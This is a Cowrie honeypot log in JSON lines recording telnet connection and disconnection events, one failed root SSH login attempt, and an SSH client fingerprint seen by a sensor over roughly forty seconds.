{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33816,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a095d28c82a","protocol":"telnet","message":"New connection: 162.55.233.176:33816 (159.203.135.109:23) [session: 2a095d28c82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.900331Z"}
{"eventid":"cowrie.session.closed","duration":31.798609495162964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.918382Z","src_ip":"162.55.233.176","session":"c935e93fdeac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.713051557540894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.959844Z","src_ip":"162.55.233.176","session":"7daa4822be7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33820,"dst_ip":"159.203.135.109","dst_port":23,"session":"491f26fc7a5f","protocol":"telnet","message":"New connection: 162.55.233.176:33820 (159.203.135.109:23) [session: 491f26fc7a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:35.144402Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33834,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5161577b756","protocol":"telnet","message":"New connection: 162.55.233.176:33834 (159.203.135.109:23) [session: c5161577b756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:35.376601Z"}
{"eventid":"cowrie.session.closed","duration":35.159244775772095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:35.678189Z","src_ip":"162.55.233.176","session":"8822d356fb2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.870943307876587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:36.142206Z","src_ip":"162.55.233.176","session":"baee016b0b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33848,"dst_ip":"159.203.135.109","dst_port":23,"session":"052de14f2f5e","protocol":"telnet","message":"New connection: 162.55.233.176:33848 (159.203.135.109:23) [session: 052de14f2f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:36.282438Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d2143cd095b","protocol":"telnet","message":"New connection: 162.55.233.176:33864 (159.203.135.109:23) [session: 9d2143cd095b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:36.367823Z"}
{"eventid":"cowrie.session.closed","duration":12.558476686477661,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:36.571340Z","src_ip":"177.42.235.107","session":"742866d779f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33539652824402,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.018818Z","src_ip":"162.55.233.176","session":"6005ef03c792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33868,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb597ff2ee9","protocol":"telnet","message":"New connection: 162.55.233.176:33868 (159.203.135.109:23) [session: 8fb597ff2ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.210314Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33882,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ea68452e78c","protocol":"telnet","message":"New connection: 162.55.233.176:33882 (159.203.135.109:23) [session: 8ea68452e78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.274623Z"}
{"eventid":"cowrie.session.closed","duration":33.74648594856262,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.306247Z","src_ip":"162.55.233.176","session":"861d0d31657a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33898,"dst_ip":"159.203.135.109","dst_port":23,"session":"90eb046b30d0","protocol":"telnet","message":"New connection: 162.55.233.176:33898 (159.203.135.109:23) [session: 90eb046b30d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.355205Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33906,"dst_ip":"159.203.135.109","dst_port":23,"session":"994984087bc1","protocol":"telnet","message":"New connection: 162.55.233.176:33906 (159.203.135.109:23) [session: 994984087bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.371495Z"}
{"eventid":"cowrie.session.closed","duration":32.41835641860962,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.530873Z","src_ip":"162.55.233.176","session":"43fb02aa75a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33910,"dst_ip":"159.203.135.109","dst_port":23,"session":"554d4ed86a4c","protocol":"telnet","message":"New connection: 162.55.233.176:33910 (159.203.135.109:23) [session: 554d4ed86a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.617116Z"}
{"eventid":"cowrie.session.closed","duration":35.51372241973877,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:37.961337Z","src_ip":"162.55.233.176","session":"e104948dffcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c91ba4e720f4","protocol":"telnet","message":"New connection: 162.55.233.176:33914 (159.203.135.109:23) [session: c91ba4e720f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:38.202658Z"}
{"eventid":"cowrie.session.closed","duration":30.89047145843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:38.768228Z","src_ip":"162.55.233.176","session":"52305216eb7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33926,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb4d307bd80f","protocol":"telnet","message":"New connection: 162.55.233.176:33926 (159.203.135.109:23) [session: cb4d307bd80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:38.805179Z"}
{"eventid":"cowrie.session.closed","duration":35.266199588775635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:38.956764Z","src_ip":"162.55.233.176","session":"3fe8d6d619cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33928,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96934ff8c9d","protocol":"telnet","message":"New connection: 162.55.233.176:33928 (159.203.135.109:23) [session: d96934ff8c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:39.036924Z"}
{"eventid":"cowrie.session.closed","duration":30.749538898468018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:39.084924Z","src_ip":"162.55.233.176","session":"cf06012c86f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800112009048462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:39.340687Z","src_ip":"162.55.233.176","session":"0da011771228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.935041666030884,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:39.829831Z","src_ip":"162.55.233.176","session":"52bc30d5edff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.719295501708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:39.848220Z","src_ip":"162.55.233.176","session":"95a5eff82b3e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vK123456.","message":"login attempt [root/vK123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:39.904696Z","src_ip":"213.209.159.158","session":"c66dc95c6687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6da7eb03f05","protocol":"telnet","message":"New connection: 162.55.233.176:33936 (159.203.135.109:23) [session: a6da7eb03f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:40.068303Z"}
{"eventid":"cowrie.session.closed","duration":33.40097212791443,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:40.502106Z","src_ip":"162.55.233.176","session":"81288f284c3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.98768639564514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:40.533917Z","src_ip":"162.55.233.176","session":"84098b87b703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33946,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8e457b4285a","protocol":"telnet","message":"New connection: 162.55.233.176:33946 (159.203.135.109:23) [session: a8e457b4285a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:40.854650Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33962,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec06e48fc4d","protocol":"telnet","message":"New connection: 162.55.233.176:33962 (159.203.135.109:23) [session: 2ec06e48fc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:40.869827Z"}
{"eventid":"cowrie.session.closed","duration":31.579222679138184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:40.874932Z","src_ip":"162.55.233.176","session":"b03fa3f66768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.685181617736816,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:40.950084Z","src_ip":"162.55.233.176","session":"5487fdc6d436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33974,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e3a05122b16","protocol":"telnet","message":"New connection: 162.55.233.176:33974 (159.203.135.109:23) [session: 6e3a05122b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:41.137988Z"}
{"eventid":"cowrie.session.closed","duration":39.88833665847778,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:41.148535Z","src_ip":"206.189.32.23","session":"911192af0c05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38510,"dst_ip":"10.17.0.5","dst_port":23,"session":"3feaa2ab614c","protocol":"telnet","message":"New connection: 188.208.141.113:38510 (10.17.0.5:23) [session: 3feaa2ab614c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:41.300914Z"}
{"eventid":"cowrie.session.closed","duration":32.992114543914795,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:41.682104Z","src_ip":"162.55.233.176","session":"d6da220b3538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.71027970314026,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:41.764814Z","src_ip":"162.55.233.176","session":"e6fa6a10ef97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd7c33fe31d","protocol":"telnet","message":"New connection: 162.55.233.176:33984 (159.203.135.109:23) [session: bfd7c33fe31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:41.872319Z"}
{"eventid":"cowrie.session.closed","duration":31.743533611297607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:41.896535Z","src_ip":"162.55.233.176","session":"0a136c55d09c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.801746129989624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.026222Z","src_ip":"162.55.233.176","session":"e2f456ed988f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33996,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb8e3c19dfe","protocol":"telnet","message":"New connection: 162.55.233.176:33996 (159.203.135.109:23) [session: 1bb8e3c19dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.210989Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34006,"dst_ip":"159.203.135.109","dst_port":23,"session":"30104da458db","protocol":"telnet","message":"New connection: 162.55.233.176:34006 (159.203.135.109:23) [session: 30104da458db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.223598Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38514,"dst_ip":"10.17.0.5","dst_port":23,"session":"7631abf77c31","protocol":"telnet","message":"New connection: 188.208.141.113:38514 (10.17.0.5:23) [session: 7631abf77c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.402662Z"}
{"eventid":"cowrie.session.closed","duration":35.786025285720825,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.440748Z","src_ip":"162.55.233.176","session":"21306cd52903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751352071762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.597938Z","src_ip":"162.55.233.176","session":"335a3cc9b90f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34014,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac6b1ef6d610","protocol":"telnet","message":"New connection: 162.55.233.176:34014 (159.203.135.109:23) [session: ac6b1ef6d610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.659209Z"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.866537Z","src_ip":"213.209.159.158","session":"c66dc95c6687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41386,"dst_ip":"10.17.0.5","dst_port":22,"session":"32b974c9e346","protocol":"ssh","message":"New connection: 213.209.159.158:41386 (10.17.0.5:22) [session: 32b974c9e346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:42.946924Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35836,"dst_ip":"159.203.135.109","dst_port":23,"session":"debaa82a1a81","protocol":"telnet","message":"New connection: 162.55.233.176:35836 (159.203.135.109:23) [session: debaa82a1a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:43.110496Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35850,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6cd24b9d4a","protocol":"telnet","message":"New connection: 162.55.233.176:35850 (159.203.135.109:23) [session: 5b6cd24b9d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:43.187109Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35856,"dst_ip":"159.203.135.109","dst_port":23,"session":"bccb922b32da","protocol":"telnet","message":"New connection: 162.55.233.176:35856 (159.203.135.109:23) [session: bccb922b32da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:43.566747Z"}
{"eventid":"cowrie.session.closed","duration":31.336685180664062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:43.615957Z","src_ip":"162.55.233.176","session":"85aaf457462e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48113512992859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:43.851573Z","src_ip":"162.55.233.176","session":"1de4344db32b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35862,"dst_ip":"159.203.135.109","dst_port":23,"session":"e475eefd3ab3","protocol":"telnet","message":"New connection: 162.55.233.176:35862 (159.203.135.109:23) [session: e475eefd3ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.108282Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35864,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad0b30d9351c","protocol":"telnet","message":"New connection: 162.55.233.176:35864 (159.203.135.109:23) [session: ad0b30d9351c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.153094Z"}
{"eventid":"cowrie.session.closed","duration":31.802019357681274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.162118Z","src_ip":"162.55.233.176","session":"9ab6d560ec30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35880,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdeb31520050","protocol":"telnet","message":"New connection: 162.55.233.176:35880 (159.203.135.109:23) [session: fdeb31520050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.399970Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35882,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7bc09b1f4c4","protocol":"telnet","message":"New connection: 162.55.233.176:35882 (159.203.135.109:23) [session: c7bc09b1f4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.406095Z"}
{"eventid":"cowrie.session.closed","duration":31.002339601516724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.463673Z","src_ip":"162.55.233.176","session":"29d1cd037d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35898,"dst_ip":"159.203.135.109","dst_port":23,"session":"10158c9b5c6b","protocol":"telnet","message":"New connection: 162.55.233.176:35898 (159.203.135.109:23) [session: 10158c9b5c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.549549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.575314Z","src_ip":"213.209.159.158","session":"32b974c9e346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.579865Z","src_ip":"213.209.159.158","session":"32b974c9e346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35910,"dst_ip":"159.203.135.109","dst_port":23,"session":"643dc026ee33","protocol":"telnet","message":"New connection: 162.55.233.176:35910 (159.203.135.109:23) [session: 643dc026ee33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.593221Z"}
{"eventid":"cowrie.session.closed","duration":34.198885440826416,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.741848Z","src_ip":"162.55.233.176","session":"9f455d3ed355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19719672203064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:44.859907Z","src_ip":"162.55.233.176","session":"e85daefd0909","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35920,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbe20d5b79f3","protocol":"telnet","message":"New connection: 162.55.233.176:35920 (159.203.135.109:23) [session: bbe20d5b79f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:45.117422Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35926,"dst_ip":"159.203.135.109","dst_port":23,"session":"49867bbe0616","protocol":"telnet","message":"New connection: 162.55.233.176:35926 (159.203.135.109:23) [session: 49867bbe0616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:45.191167Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35938,"dst_ip":"159.203.135.109","dst_port":23,"session":"df6c4effdd60","protocol":"telnet","message":"New connection: 162.55.233.176:35938 (159.203.135.109:23) [session: df6c4effdd60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:45.280752Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35940,"dst_ip":"159.203.135.109","dst_port":23,"session":"053a3c0d69f5","protocol":"telnet","message":"New connection: 162.55.233.176:35940 (159.203.135.109:23) [session: 053a3c0d69f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:45.306948Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"5583c77a4f8a","protocol":"telnet","message":"New connection: 162.55.233.176:35954 (159.203.135.109:23) [session: 5583c77a4f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:45.642671Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35958,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b374aeb624","protocol":"telnet","message":"New connection: 162.55.233.176:35958 (159.203.135.109:23) [session: c6b374aeb624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:46.684719Z"}
{"eventid":"cowrie.session.closed","duration":32.88583707809448,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:46.996200Z","src_ip":"162.55.233.176","session":"4adec6e7dc0e","protocol":"telnet"}
